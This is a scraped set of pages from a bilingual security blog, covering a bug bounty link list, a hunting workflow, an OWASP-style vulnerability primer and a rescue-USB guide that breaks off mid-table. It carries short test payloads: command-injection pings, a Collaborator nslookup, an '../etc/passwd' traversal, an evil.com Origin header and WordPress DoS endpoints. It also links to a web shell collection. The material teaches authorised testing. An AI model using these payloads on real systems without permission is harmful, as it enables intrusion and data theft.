- [OWASP: testear métodos HTTP](https://wiki.owasp.org/index.php/Test%5FHTTP%5FMethods%5F%28OTG-CONFIG-006%29?ref=thehacksparrow.com)
- [Subidas no autorizadas en buckets S3 mal configurados](https://alph4byt3.medium.com/testing-for-unauthorized-file-uploads-on-misconfigured-aws-s3-buckets-c114f7653893?ref=thehacksparrow.com)
- [Bypass y explotación de políticas de subida a buckets](https://labs.detectify.com/2018/08/02/bypassing-exploiting-bucket-upload-policies-signed-urls/?ref=thehacksparrow.com) (Detectify)
- [Takeover de base de datos Firebase](https://danangtriatmaja.medium.com/firebase-database-takover-b7929bbb62e1?ref=thehacksparrow.com)
- Endpoints de admin habituales a probar: `/dev/register/`, `/stag/register/`, `/dev/login/`
## Inyección
- [SQLi en un programa privado de Bugcrowd](https://sapt.medium.com/sqli-on-a-bugcrowd-private-program-17858b57ec61?ref=thehacksparrow.com) — ejemplo resuelto
- [Introducción a CSV Injection](https://www.contextis.com/en/blog/comma-separated-vulnerabilities?ref=thehacksparrow.com)
- [Inyección CSV — reporte real en HackerOne](https://hackerone.com/reports/928280?ref=thehacksparrow.com)
- [PortSwigger: introducción a SSTI](https://portswigger.net/web-security/server-side-template-injection?ref=thehacksparrow.com)
- Ejemplos de payloads de inyección de comandos: `ping -n 21 127.0.0.1`, `nslookup -q=cname my.burpcollaborator.net.`
## XSS y client-side
- [Cheat sheet de bypass de filtros XSS del navegador](https://github.com/masatokinugawa/filterbypass/wiki/Browser's-XSS-Filter-Bypass-Cheat-Sheet?ref=thehacksparrow.com)
- [Stored XSS a través de subida de archivos](https://medium.com/@vis%5Fhacker/how-i-got-stored-xss-using-file-upload-5c33e19df51e?ref=thehacksparrow.com)
- [XSS mediante contaminación de parámetros](https://infosecwriteups.com/xss-through-parameter-pollution-9a55da150ab2?ref=thehacksparrow.com)
- [Análisis estático de JavaScript client-side](https://blog.appsecco.com/static-analysis-of-client-side-javascript-for-pen-testers-and-bug-bounty-hunters-f1cb1a5d5288?ref=thehacksparrow.com)
- [LinkFinder](https://github.com/GerbenJavado/LinkFinder?ref=thehacksparrow.com) — extrae endpoints de archivos JS
- [jsmon](https://github.com/robre/jsmon?ref=thehacksparrow.com) — monitoriza cambios en archivos JS con el tiempo
- [One token to leak them all](https://infosecwriteups.com/one-token-to-leak-them-all-the-story-of-a-8000-npm-token-79b13af182a3?ref=thehacksparrow.com) — la historia de una fuga de token de npm
## SSRF y GraphQL
- [The SSRF Bible](https://docs.google.com/document/u/0/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/mobilebasic?ref=thehacksparrow.com)
- [Bypass de SSRF, Cloudflare y metadata de AWS](https://infosecwriteups.com/an-exciting-journey-to-find-ssrf-bypass-cloudflare-and-extract-aws-metadata-fdb8be0b5f79?ref=thehacksparrow.com)
- [Explotando GraphQL](https://blog.assetnote.io/2021/08/29/exploiting-graphql/?ref=thehacksparrow.com) (Assetnote)
- [DoS responsable con web cache poisoning](https://portswigger.net/research/responsible-denial-of-service-with-web-cache-poisoning?ref=thehacksparrow.com) (PortSwigger)
## Recon y enumeración
- [Guía básica de recon para bug bounty](https://infosecwriteups.com/guide-to-basic-recon-bug-bounties-recon-728c5242a115?ref=thehacksparrow.com)
- [Encontrar y explotar funcionalidad no intencionada en APIs](https://bendtheory.medium.com/finding-and-exploiting-unintended-functionality-in-main-web-app-apis-6eca3ef000af?ref=thehacksparrow.com)
- Herramientas de subdominios: [Subfinder](https://github.com/projectdiscovery/subfinder?ref=thehacksparrow.com), [Amass](https://github.com/OWASP/Amass?ref=thehacksparrow.com), [Assetfinder](https://github.com/tomnomnom/assetfinder?ref=thehacksparrow.com), [dnscan](https://github.com/rbsec/dnscan?ref=thehacksparrow.com)
- [Guía de enumeración de subdominios](https://sidxparab.gitbook.io/subdomain-enumeration-guide/introduction/whats-the-need?ref=thehacksparrow.com)
- [reNgine](https://github.com/yogeshojha/rengine?ref=thehacksparrow.com#quick-installation) — recon automatizado
- [Colección de wordlists](https://github.com/heilla/SecurityTesting/blob/master/wordlists/Collection%20of%20wordlists.md?ref=thehacksparrow.com)
- [pyWhat](https://github.com/bee-san/pywhat?ref=thehacksparrow.com) — identifica cualquier cosa (hashes, tokens, formatos)
- Presentaciones de dorking: [GitHub dorks](https://docs.google.com/presentation/d/1lqBriLkclVwCi4q%5FVhJUXa-GYehLsMp054PzN4qrTn8/mobilepresent?ref=thehacksparrow.com), [dorks de buscadores](https://docs.google.com/presentation/d/1dBXWUFKXa6gWQNCifN939Wf1ZNTIELlRZ4FhcaHvSOE/mobilepresent?ref=thehacksparrow.com)
## CVEs conocidas que merece revisar
- [CVE-2020-11022/11023](https://vulnerabledoma.in/jquery%5FhtmlPrefilter%5Fxss.html?ref=thehacksparrow.com) — XSS en jQuery
- [CVE-2020-11110](https://ctf-writeup.revers3c.com/challenges/web/CVE-2020-11110/index.html?ref=thehacksparrow.com) — writeup de stored XSS en Grafana
- CVE-2021-24169 — XSS reflejado en un plugin de WordPress
- CVE-2021-40875 — control de acceso deficiente en Gurock TestRail
- [CVE-2021-26084](https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md?ref=thehacksparrow.com) — writeup de RCE en Confluence
- Grafana: CVE-2020-13379 (DoS), CVE-2020-11110 (stored XSS), CVE-2019-15043 (API sin autenticar), más credenciales por defecto y signup abierto
## Todo lo demás que merece guardarse
- [HackerOne Hacktivity](https://hackerone.com/hacktivity?ref=thehacksparrow.com) y [Bugreader](https://bugreader.com/reports?ref=thehacksparrow.com) — reports reales divulgados para aprender
- [Mastering the skills of bug bounty](https://medium.com/swlh/mastering-the-skills-of-bug-bounty-2201eb6a9f4?ref=thehacksparrow.com) (Vickie Li)
- [Awesome oneliner bugbounty](https://github.com/dwisiswant0/awesome-oneliner-bugbounty?ref=thehacksparrow.com#pure-bash-linkfinder) — colección de scripts
- [Colección de web shells](https://github.com/tennc/webshell/blob/master/README%5FEN.md?ref=thehacksparrow.com) (solo para laboratorio)
- Cross-site WebSocket hijacking: [repo de ejemplo](https://github.com/DeepakPawar95/cswsh?ref=thehacksparrow.com) y [writeup](https://sunilyedla.medium.com/websocket-hijacking-to-steal-session-id-of-victim-users-bca84243830?ref=thehacksparrow.com)
- Recon de WordPress: `/wp-admin/setup-config.php?step=1`, `/wp-json/wp/v2/users/`, DoS vía `load-scripts.php`/`load-styles.php`
### My Real Bug Bounty Workflow (Day by Day)
URL: https://thehacksparrow.com/bug-bounty-workflow/
Last updated: 2026-09-23T10:55:44.000Z
> This is the exact sequence I follow on a target, from picking it to writing the report — not a generic methodology copied from a blog post.
## Phase 0 — Picking the right target (this matters more than people think)
**Typical mistake:** picking whatever program looks interesting and diving in.
**What actually works:** mid-sized apps — not huge, not tiny — with a login (more attack surface), an API (even better), and complex functionality (payments, teams, sharing). Early on, avoid the giants and the ultra-saturated programs; you'll mostly find what a hundred people already reported.
## Phase 1 — Recon (30–60 min)
You're not hacking yet, you're understanding the app: create an account, create a *second* account (this matters a lot later), and walk through every feature — profile, file uploads, payments, teams, API, messaging. The mental question the whole time is just: *how does this application actually work?*
## Phase 2 — Mapping endpoints
Open Burp and click through login, profile, create/edit/delete/share for every resource type. Save the map: `/api/users`, `/api/projects`, `/api/orders`, `/api/files`, `/api/messages`. That list is your attack surface.
## Phase 3 — The main attack (this is where the money is)
### 1\. IDOR (always first)
Create a resource with account A, capture the request, switch to account B, replay it with B's session. The question that matters: *can I see or modify something that isn't mine?*
### 2\. Data exposure
Read the full JSON response, not just what the UI renders — emails, phone numbers, roles, internal IDs. The UI often hides things the API doesn't.
### 3\. XSS (quick pass)
Name, description and comment fields, with a fast payload:
```html
```
### 4\. API keys / config
`Ctrl+U`, search for `CONFIG`, `TOKEN`, `API_KEY`.
## Phase 4 — Business logic (the pro level)
Very few hunters get here. The question to ask constantly: *can I do something I shouldn't be able to?* Real examples: changing an email without confirming it, deleting resources without the right permissions, adding yourself to a team without an invite, reusing a coupon multiple times, duplicating a balance.
## Phase 5 — Secondary attacks (only if the above turned up nothing)
CSRF, CORS, Open Redirect, file upload.
## A worked mini-simulation
Imagine a typical SaaS app. You see `GET /api/projects/123` and think: *what if I try 124?* — that's an IDOR. The JSON response back includes `email`, `role: admin`, `internal_notes: VIP client` — that's a data leak, on top of the IDOR. The project's name field takes
```html
```
and it fires — that's an XSS. This chaining is exactly what working hunters do, over and over.
## The daily routine
- Pick a target
- Recon (30 min)
- Map the API
- Test IDOR
- Test data leaks
- Test XSS
- Document findings
> Don't test everything at random. Fewer targets, more depth.
## The mindset that actually wins
Don't hunt for vulnerabilities. Hunt for behavior that feels off.
## A realistic ramp-up plan
| Timeframe | Focus |
| --------- | ------------------------------------- |
| Weeks 1–2 | IDOR and data exposure only |
| Week 3 | Add XSS and API leaks |
| Week 4+ | Business logic, SSRF, race conditions |
> Esta es la secuencia exacta que sigo con un target, desde elegirlo hasta escribir el reporte — no una metodología genérica copiada de un blog.
## Fase 0 — Elegir bien el target (importa más de lo que parece)
**Error típico:** elegir cualquier programa que parezca interesante y lanzarse.
**Lo que funciona de verdad:** apps medianas — ni gigantes ni pequeñas — con login (más superficie de ataque), con API (mejor aún), y con funcionalidades complejas (pagos, equipos, compartir). Al principio evita a los gigantes y los programas ultra saturados; sobre todo vas a encontrar lo que ya reportaron cien personas antes.
## Fase 1 — Recon (30-60 min)
Aquí todavía no hackeas, entiendes la app: crea una cuenta, crea una *segunda* cuenta (muy importante más adelante), y recorre toda la app — perfil, subida de archivos, pagos, equipos, API, mensajes. La pregunta mental todo el rato es solo: *¿cómo funciona esta aplicación?*
## Fase 2 — Mapear endpoints
Abre Burp y navega login, perfil, crear/editar/borrar/compartir para cada tipo de recurso. Guarda el mapa: `/api/users`, `/api/projects`, `/api/orders`, `/api/files`, `/api/messages`. Ese listado es tu superficie de ataque.
## Fase 3 — Ataque principal (aquí sale el dinero)
### 1\. IDOR (siempre primero)
Crea un recurso con la cuenta A, captura la petición, cambia a la cuenta B, reenvíala con la sesión de B. La pregunta que importa: *¿puedo ver o modificar algo que no es mío?*
### 2\. Data exposure
Lee el JSON completo de la respuesta, no solo lo que muestra la interfaz — emails, teléfonos, roles, IDs internos. Muchas veces la UI oculta cosas que la API no.
### 3\. XSS (pasada rápida)
Campos de nombre, descripción y comentarios, con un payload rápido:
```html
```
### 4\. API keys / config
`Ctrl+U`, buscar `CONFIG`, `TOKEN`, `API_KEY`.
## Fase 4 — Lógica de negocio (el nivel pro)
A este nivel llegan muy pocos hunters. La pregunta a hacerse constantemente: *¿puedo hacer algo que no debería?* Ejemplos reales: cambiar un email sin confirmarlo, borrar recursos sin permisos suficientes, añadirme a un equipo sin invitación, reutilizar un cupón varias veces, duplicar un saldo.
## Fase 5 — Ataques secundarios (solo si lo anterior no dio nada)
CSRF, CORS, Open Redirect, subida de archivos.
## Una mini-simulación resuelta
Imagina una SaaS típica. Ves `GET /api/projects/123` y piensas: *¿y si pruebo 124?* — eso es un IDOR. La respuesta JSON incluye `email`, `role: admin`, `internal_notes: VIP client` — eso es una fuga de datos, encima del IDOR. El campo nombre del proyecto acepta
```html
```
y se ejecuta — eso es un XSS. Encadenar así es exactamente lo que hacen los hunters que sí encuentran cosas, una y otra vez.
## La rutina diaria
- Elegir target
- Recon (30 min)
- Mapear la API
- Probar IDOR
- Probar fugas de datos
- Probar XSS
- Documentar hallazgos
> No pruebes todo a lo loco. Menos targets, más profundidad.
## La mentalidad que de verdad gana
No busques vulnerabilidades. Busca comportamientos raros.
## Un plan de progresión realista
| Cuándo | En qué te centras |
| ----------- | ---------------------------------------- |
| Semanas 1-2 | Solo IDOR y data exposure |
| Semana 3 | Añade XSS y fugas de API |
| Semana 4+ | Lógica de negocio, SSRF, race conditions |
### OWASP-Style Web Vulnerabilities, Explained
URL: https://thehacksparrow.com/owasp-vulnerabilities-explained/
Last updated: 2026-09-23T10:55:44.000Z
Bug bounty hunting is mostly pattern recognition: the same fifteen or so vulnerability classes resurface across almost every web application, dressed up differently each time. This is the plain-English map — what each class is, where it tends to show up, and why it's worth your time.
## 🔓 IDOR / BOLA
You access another user's data just by changing an ID in the request — `/api/invoices/1001` becomes `/api/invoices/1002`, and you're looking at someone else's invoice. It shows up anywhere a resource is addressed by an ID: orders, files, tickets, messages, projects.
**Where it shows up:** Test it with two accounts: create a resource with account A, capture the request, replay it as account B.
## 👑 Broken Access Control
Same family as IDOR, one level up: you can call an action your role shouldn't allow at all, not just read someone else's data. A normal user hitting an admin-only endpoint and having it actually work.
**Where it shows up:** Admin panels, team/workspace management, billing and permission settings are the classic places it hides.
## 🔐 Account Takeover
Any flaw that lets you seize control of someone else's account — usually through password reset, email change, OTP verification or session handling gone wrong. It's consistently one of the highest-value bug classes.
**Where it shows up:** Look at every 'edge path' in an auth flow: expired tokens, reused tokens, changing email without confirmation, alternate recovery routes.
## 🧾 JWT Vulnerabilities
JWTs used for auth carry their own class of bugs: tokens that don't expire, remain valid after logout or password change, or accept `alg: none` — meaning the signature check can be skipped entirely.
**Where it shows up:** Decode any JWT you get and check what happens if you tamper with role, expiry or algorithm.
## 📦 File Upload Vulnerabilities
Uploading a file that the server or a victim's browser later executes — an SVG with embedded JavaScript, an HTML file served from a trusted origin, a double extension that slips past a naive filter.
**Where it shows up:** Avatars, attachments, CSV imports and support tickets are the usual entry points.
## 🌍 SSRF
You make the server itself issue a request to a URL you control. Anywhere an app fetches a URL on your behalf — image import, webhook, link preview, PDF generator — is a candidate.
**Where it shows up:** A safe first test: point it at your own domain via Burp Collaborator and see if a request lands.
## 🧬 GraphQL Misconfiguration
GraphQL endpoints often ship with introspection wide open, exposing the entire schema, or with mutations that skip the authorization checks their REST equivalents would have.
**Where it shows up:** Look for `/graphql`, `/gql`; a simple `{ __schema { types { name } } }` query tells you a lot.
## 🛒 Price Manipulation
Tampering with price, quantity, discount or plan fields from the client side, and having the backend simply trust them instead of recalculating server-side.
**Where it shows up:** Carts, checkouts, coupon codes and subscription plans are the classic targets.
## 📩 Email / OTP Verification Bypass
Skipping an email, SMS or OTP check entirely — an empty code that's accepted, a code for one account reused against another, no rate limit on attempts.
**Where it shows up:** Signup, login, 2FA, password reset and email/phone changes all rely on this kind of check.
## 🧑💼 Privilege Escalation
A normal user ending up with admin-level permissions — often by replaying an admin-only role-change request with their own session, or editing a hidden `role` field the client wasn't supposed to touch.
**Where it shows up:** Team/workspace management and permission settings are where this tends to live.
## 🗂️ Directory Traversal / LFI
Reading files the application never meant to expose, by manipulating a `file=`/`path=` parameter with relative paths like `../../../../etc/passwd`.
**Where it shows up:** Download and document-export endpoints are the usual suspects.
## 🔎 Sensitive Data Exposure
The API quietly returns more than the UI shows — internal notes, roles, tokens, billing details sitting in a JSON response nobody bothered to trim.
**Where it shows up:** Always read the full response body, not just what renders on screen.
## 🧨 Race Condition
Firing a one-time action many times in parallel, before the backend has a chance to update its state — redeeming a coupon twice, claiming a reward more than once.
**Where it shows up:** Anything tied to a limited resource — stock, credits, votes, gift cards — is worth racing.
## 🧷 CORS Misconfiguration
An authenticated endpoint that reflects an arbitrary `Origin` header back in `Access-Control-Allow-Origin` while also allowing credentials — letting any external site read the victim's private data.
**Where it shows up:** Add `Origin: https://evil.com` to an authenticated request and check the response headers.
## 🔁 CSRF
Tricking an authenticated victim's browser into firing a sensitive request without their consent — changing an email, adding a payment method, deleting an account.
**Where it shows up:** Check whether the action requires a CSRF token at all, and whether cookies are `SameSite`\-protected.
Cazar en bug bounty es, sobre todo, reconocer patrones: las mismas quince y pico familias de vulnerabilidad reaparecen en casi cualquier aplicación web, disfrazadas de forma distinta cada vez. Este es el mapa en cristiano — qué es cada familia, dónde suele aparecer, y por qué merece la pena.
## 🔓 IDOR / BOLA
Accedes a los datos de otro usuario cambiando un ID en la petición — `/api/invoices/1001` pasa a `/api/invoices/1002` y estás viendo una factura ajena. Aparece en cualquier sitio donde un recurso se referencia por ID: pedidos, archivos, tickets, mensajes, proyectos.
**Dónde buscar:** Se prueba con dos cuentas: creas un recurso con la cuenta A, capturas la petición, y la repites con la cuenta B.
## 👑 Broken Access Control
Misma familia que IDOR, un nivel más arriba: puedes ejecutar una acción que tu rol no debería permitir, no solo leer datos ajenos. Un usuario normal llamando a un endpoint de admin y que realmente funcione.
**Dónde buscar:** Paneles de admin, gestión de equipos/workspaces, facturación y configuración de permisos son los sitios clásicos donde se esconde.
## 🔐 Account Takeover
Cualquier fallo que permita tomar el control de la cuenta de otro — normalmente vía recuperación de contraseña, cambio de email, verificación OTP o gestión de sesiones mal hecha. Es, de forma constante, una de las categorías de más valor.
**Dónde buscar:** Revisa cada 'camino alternativo' de un flujo de autenticación: tokens caducados, tokens reutilizables, cambio de email sin confirmar, rutas de recuperación secundarias.
## 🧾 JWT Vulnerabilities
Los JWT usados para autenticación traen su propia familia de fallos: tokens que no caducan, que siguen siendo válidos tras logout o cambio de contraseña, o que aceptan `alg: none` — es decir, se puede saltar la verificación de firma entera.
**Dónde buscar:** Decodifica cualquier JWT que consigas y comprueba qué pasa si manipulas el rol, la caducidad o el algoritmo.
## 📦 File Upload Vulnerabilities
Subir un archivo que el servidor o el navegador de una víctima acaba ejecutando — un SVG con JavaScript embebido, un HTML servido desde un dominio de confianza, una doble extensión que se cuela por un filtro ingenuo.
**Dónde buscar:** Avatares, adjuntos, importación de CSV y tickets de soporte son los puntos de entrada habituales.
## 🌍 SSRF
Consigues que el propio servidor haga una petición a una URL que tú controlas. Cualquier sitio donde la app recupera una URL en tu nombre — importar imagen, webhook, vista previa de enlace, generador de PDF — es candidato.
**Dónde buscar:** Una primera prueba segura: apunta a tu propio dominio vía Burp Collaborator y comprueba si llega la petición.
## 🧬 GraphQL Misconfiguration
Los endpoints GraphQL suelen llegar a producción con introspection abierta, exponiendo el schema entero, o con mutations que se saltan las comprobaciones de autorización que sí tendría su equivalente REST.
**Dónde buscar:** Busca `/graphql`, `/gql`; una query simple como `{ __schema { types { name } } }` ya dice mucho.
## 🛒 Price Manipulation
Manipular precio, cantidad, descuento o plan desde el cliente, y que el backend simplemente confíe en esos valores en vez de recalcularlos en servidor.
**Dónde buscar:** Carritos, checkouts, cupones y planes de suscripción son los objetivos clásicos.
## 📩 Email / OTP Verification Bypass
Saltarse por completo una verificación de email, SMS u OTP — un código vacío que se acepta, un código de una cuenta reutilizado en otra, sin límite de intentos.
**Dónde buscar:** Registro, login, 2FA, recuperación de contraseña y cambio de email/teléfono dependen todos de este tipo de comprobación.
## 🧑💼 Privilege Escalation
Un usuario normal termina con permisos de admin — a menudo repitiendo una petición de cambio de rol pensada para admins con su propia sesión, o editando un campo `role` oculto que el cliente no debería poder tocar.
**Dónde buscar:** La gestión de equipos/workspaces y la configuración de permisos son donde suele vivir.
## 🗂️ Directory Traversal / LFI
Leer archivos que la aplicación nunca quiso exponer, manipulando un parámetro `file=`/`path=` con rutas relativas como `../../../../etc/passwd`.
**Dónde buscar:** Los endpoints de descarga y exportación de documentos son los sospechosos habituales.
## 🔎 Sensitive Data Exposure
La API devuelve calladamente más de lo que muestra la interfaz — notas internas, roles, tokens, datos de facturación en un JSON que nadie se molestó en recortar.
**Dónde buscar:** Lee siempre el cuerpo completo de la respuesta, no solo lo que se renderiza en pantalla.
## 🧨 Race Condition
Disparar en paralelo una acción de un solo uso, antes de que el backend actualice su estado — canjear un cupón dos veces, reclamar una recompensa más de una vez.
**Dónde buscar:** Cualquier cosa ligada a un recurso limitado — stock, créditos, votos, gift cards — merece probarse en carrera.
## 🧷 CORS Misconfiguration
Un endpoint autenticado que refleja cualquier cabecera `Origin` en `Access-Control-Allow-Origin` y encima permite credenciales — dejando que cualquier web externa lea los datos privados de la víctima.
**Dónde buscar:** Añade `Origin: https://evil.com` a una petición autenticada y revisa las cabeceras de la respuesta.
## 🔁 CSRF
Engañar al navegador de una víctima autenticada para que dispare una petición sensible sin su consentimiento — cambiar un email, añadir un método de pago, borrar una cuenta.
**Dónde buscar:** Comprueba si la acción exige token CSRF y si las cookies llevan protección `SameSite`.
### Bug Bounty Hub: what's inside this section
URL: https://thehacksparrow.com/bug-bounty-overview/
Last updated: 2026-09-23T10:26:16.000Z
> A practical, no-fluff bug bounty corner: how I actually hunt, what I actually check, and the template I actually submit with.
## This whole section is Root Access
Bug bounty is my strongest material, so it all sits behind Root Access, no exceptions — an OWASP-style vulnerability primer, my real day-to-day hunting workflow, my curated resource cheatsheet, the report template I actually submit with, and a deep-dive pattern analysis for 11 vulnerability families.
## What's inside
### Resources
An OWASP-style primer on the vulnerability classes you'll run into constantly in bug bounty hunting, my real day-to-day workflow, my curated resource cheatsheet, and the report template I actually submit with. Browse them all in [bug-bounty/resources/](https://thehacksparrow.com/bug-bounty/resources/).
### Vulnerability pattern breakdowns
Eleven write-ups analyzing a vulnerability family in the abstract — the underlying pattern, where it tends to hide, and how I go about detecting it. These are methodology, not case studies: no concrete report, mine or anyone else's, is reproduced here. Browse them all in [bug-bounty/vulnerability-patterns/](https://thehacksparrow.com/bug-bounty/vulnerability-patterns/).
## How to unlock Root Access
[Subscribe](https://thehacksparrow.com/membership/) for 5€/month (or 50€/year) to unlock this section along with every full writeup and cheatsheet on the site.
> Un rincón de bug bounty práctico y sin relleno: cómo cazo de verdad, qué reviso de verdad, y la plantilla con la que reporto de verdad.
## Toda esta sección es Root Access
Bug bounty es mi material más fuerte, así que va entero detrás de Root Access, sin excepciones — una introducción estilo OWASP a las vulnerabilidades, mi workflow real del día a día, mi recopilación de recursos, la plantilla con la que reporto de verdad, y un análisis en profundidad de 11 familias de vulnerabilidad.
## Qué incluye
### Resources
Una introducción estilo OWASP a las vulnerabilidades con las que te vas a topar constantemente en bug bounty, mi workflow real del día a día, mi recopilación de recursos, y la plantilla con la que reporto de verdad. Puedes ver todo en [bug-bounty/resources/](https://thehacksparrow.com/es/bug-bounty/resources/).
### Patrones de vulnerabilidad
Once análisis de una familia de vulnerabilidad en abstracto: el patrón de fondo, dónde suele esconderse, y cómo lo detecto. Es metodología, no casos de estudio: aquí no se reproduce ningún reporte concreto, ni mío ni de nadie. Puedes ver todos en [bug-bounty/vulnerability-patterns/](https://thehacksparrow.com/es/bug-bounty/vulnerability-patterns/).
## Cómo desbloquear Root Access
[Suscríbete](https://thehacksparrow.com/es/membership/) por 5€/mes (o 50€/año) para desbloquear esta sección junto con todos los writeups completos y cheatsheets de la web.
### Build the Perfect Rescue USB
URL: https://thehacksparrow.com/guia-usb-de-rescate/
Last updated: 2026-09-23T10:55:45.000Z
> A well-built **rescue USB** is what saves you when Windows won't boot, you suspect malware the infected system itself can't clean, or you need to recover files off a drive that no longer boots. The trick to making it "universal" isn't burning a single ISO — it's using **Ventoy** to fit several tools on the same USB and pick which one to boot depending on the problem.
| **Hardware** | USB 3.0, 32-64 GB (16 GB minimum) |
| ------------ | ------------------------------------------------- |
| **Base** | Ventoy (multiboot) |
| **Time** | \~30-45 min the first time, then just update ISOs |
## 1\. Why Ventoy instead of Rufus for this
Rufus burns **one** ISO per USB — great for a one-off task, but forces you to carry several USBs to cover several scenarios. Ventoy installs a bootloader once and, from then on, **you just copy-paste `.iso` files** onto the USB — no re-burning anything. On boot, Ventoy shows a menu with every ISO you've added.
## 2\. Installing Ventoy
- Download Ventoy from [ventoy.net](https://www.ventoy.net/?ref=thehacksparrow.com) (Windows and Linux)
- Plug in the USB (it will be fully wiped — back up anything on it first)
- Run `Ventoy2Disk` (Windows) or `./Ventoy2Disk.sh` (Linux), select the USB and click "Install"
```bash
# Linux
sudo ./Ventoy2Disk.sh -i /dev/sdX # replace sdX with your USB (double-check with lsblk first)
```
> Always confirm the device with `lsblk` before running this — point it at the wrong drive and you'll wipe the wrong disk.
## 3\. Which ISOs to add — the full kit
| Tool | What it's for | When to use it |
| ----------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------- |
| Windows installer (official Microsoft ISO) | Clean install or boot repair | Reinstalling from scratch, or "Repair startup" from the recovery menu |
| Hiren's BootCD PE | A Windows PE environment with dozens of utilities: partition manager, registry editor, password reset, file recovery, antivirus | Windows won't boot but you want to diagnose/fix without reinstalling |
| A Linux live distro (Ubuntu or Linux Mint) | A full working system without touching the disk — browse, copy files, mount partitions | Recovering files off a Windows install that won't boot at all |
| Memtest86+ | Thorough RAM stress test | Random crashes, blue screens with no clear pattern — rules out bad RAM |
| An antivirus rescue disk (ESET SysRescue / Kaspersky Rescue Disk) | Scans the drive *from outside* the infected OS | Malware/ransomware the infected Windows itself can't clean |
| Clonezilla | Full disk cloning/imaging | Backing up the entire disk before any risky repair |
> With Ventoy you don't "burn" each one — you just download each tool's `.iso` and copy it onto the USB's partition, exactly like copying any other file.
## 4\. Decision tree — what to boot based on the symptom
```text
Doesn't power on / doesn't reach the BIOS
-> Hardware problem, the USB won't help here
Powers on but Windows won't boot
-> Hiren's BootCD PE: partition manager + boot repair
-> If Hiren's doesn't fix it: Windows ISO -> "Repair your computer" -> Startup Repair
Windows boots but is very slow / acting strange / pop-ups
-> Antivirus rescue disk (ESET SysRescue / Kaspersky Rescue Disk) from the USB
You need files off a drive that won't boot at all
-> Linux live distro -> mount the Windows partition -> copy to a USB/external drive
Random crashes, blue screens with no pattern
-> Memtest86+ (let it run several passes, at least 1 hour)
About to do a risky repair (partitioning, reinstalling)
-> Clonezilla first, to have a full backup before touching anything
```
## 5\. Booting from the USB on the target machine
| Step | Detail |
| ---- | -------------------------------------------------------------------------------------------------------------------- |
| 1 | Restart and hit the boot-menu key (F12, F2, Esc, or Del depending on the manufacturer) before Windows starts loading |
| 2 | Select the USB from the list of boot devices |
| 3 | If it doesn't show up, Secure Boot may be blocking Linux-based ISOs — temporarily disable it in the BIOS/UEFI |
| 4 | Ventoy shows the menu with every ISO — pick the one that matches the problem |
## Keeping the USB up to date
- Update the Windows ISO and the antivirus rescue disk every few months — definitions and patches go stale fast
- Always leave some free space on the Ventoy partition for the next ISO you'll want to add
- Keep a copy of the ISOs on your computer or in the cloud, not just on the USB — if the USB fails, you don't want to re-download everything from scratch
> ⚠️ Tools like Hiren's password reset are exactly as powerful used for good as for bad — only use them on your own machines or with the owner's explicit authorisation.
> Un **USB de rescate** bien montado es lo que te salva cuando un Windows no arranca, hay sospecha de malware que el propio sistema infectado no puede limpiar, o necesitas recuperar archivos de un disco que ya no bootea. La clave para tener uno "universal" no es grabar un solo ISO — es usar **Ventoy** para meter varias herramientas en el mismo USB y elegir cuál arrancar según el problema.
| **Material** | USB 3.0, 32-64 GB (mínimo 16 GB) |
| ------------ | ------------------------------------------------------ |
| **Base** | Ventoy (multiboot) |
| **Tiempo** | \~30-45 min la primera vez, luego solo actualizar ISOs |
## 1\. Por qué Ventoy y no Rufus para esto
Rufus graba **un** ISO por USB — perfecto para una tarea puntual, pero obliga a tener varios USBs si quieres cubrir varios escenarios. Ventoy instala un gestor de arranque una sola vez y, a partir de ahí, **solo tienes que copiar y pegar ficheros `.iso`** en el USB — nada de volver a grabar nada. Al arrancar, Ventoy te muestra un menú con todos los ISOs que hayas metido.
## 2\. Instalar Ventoy
- Descarga Ventoy desde [ventoy.net](https://www.ventoy.net/?ref=thehacksparrow.com) (Windows y Linux)
- Conecta el USB (se formateará por completo — haz copia de lo que tenga antes)
- Ejecuta `Ventoy2Disk` (Windows) o `./Ventoy2Disk.sh` (Linux), selecciona el USB y pulsa "Install"
```bash
# Linux
sudo ./Ventoy2Disk.sh -i /dev/sdX # sustituye sdX por tu USB (revisa con lsblk antes)
```
> Verifica siempre el dispositivo con `lsblk` antes de ejecutar esto — apunta a la unidad equivocada y formateas el disco que no era.
## 3\. Qué ISOs meter — el kit completo
| Herramienta | Para qué sirve | Cuándo usarla |
| ------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------- |
| Instalador de Windows (ISO oficial de Microsoft) | Instalación limpia o reparación de arranque | Reinstalar desde cero, o "Reparar inicio" desde el menú de recuperación |
| Hiren's BootCD PE | Entorno Windows PE con decenas de utilidades: gestor de particiones, editor de registro, reset de contraseñas, recuperación de archivos, antivirus | Windows no arranca pero quieres diagnosticar/reparar sin reinstalar |
| Una distro Linux live (Ubuntu o Linux Mint) | Sistema completo funcional sin tocar el disco — navegar, copiar archivos, montar particiones | Recuperar archivos de un Windows que no arranca en absoluto |
| Memtest86+ | Test exhaustivo de la memoria RAM | Cuelgues aleatorios, pantallazos azules sin patrón claro — descarta RAM defectuosa |
| Un rescate antivirus (ESET SysRescue / Kaspersky Rescue Disk) | Escanea el disco *desde fuera* del sistema operativo infectado | Malware/ransomware que el propio Windows infectado no puede limpiarse a sí mismo |
| Clonezilla | Clonado e imagen completa de disco | Hacer backup del disco entero antes de cualquier reparación arriesgada |
> Con Ventoy no "grabas" cada uno — simplemente descargas el `.iso` de cada herramienta y lo copias a la partición del USB, igual que copiarías cualquier archivo.
## 4\. Árbol de decisión — qué arrancar según el síntoma
```text
No enciende / no llega a la BIOS
-> Problema de hardware, el USB no ayuda aqui
Enciende pero Windows no arranca
-> Hiren's BootCD PE: gestor de particiones + reparar arranque
-> Si Hiren's no lo arregla: Windows ISO -> "Reparar el equipo" -> Reparacion de inicio
Windows arranca pero va muy lento / rarezas / pop-ups
-> Antivirus de rescate (ESET SysRescue / Kaspersky Rescue Disk) desde el USB
Necesitas archivos de un disco que no arranca en absoluto
-> Distro Linux live -> montar la particion de Windows -> copiar a un USB/disco externo
Cuelgues aleatorios, pantallazos azules sin patron
-> Memtest86+ (dejalo corriendo varias pasadas, minimo 1 hora)
Vas a hacer una reparacion arriesgada (particionar, reinstalar)
-> Clonezilla primero, para tener un backup completo antes de tocar nada
```
## 5\. Arrancar desde el USB en el equipo objetivo
| Paso | Detalle |
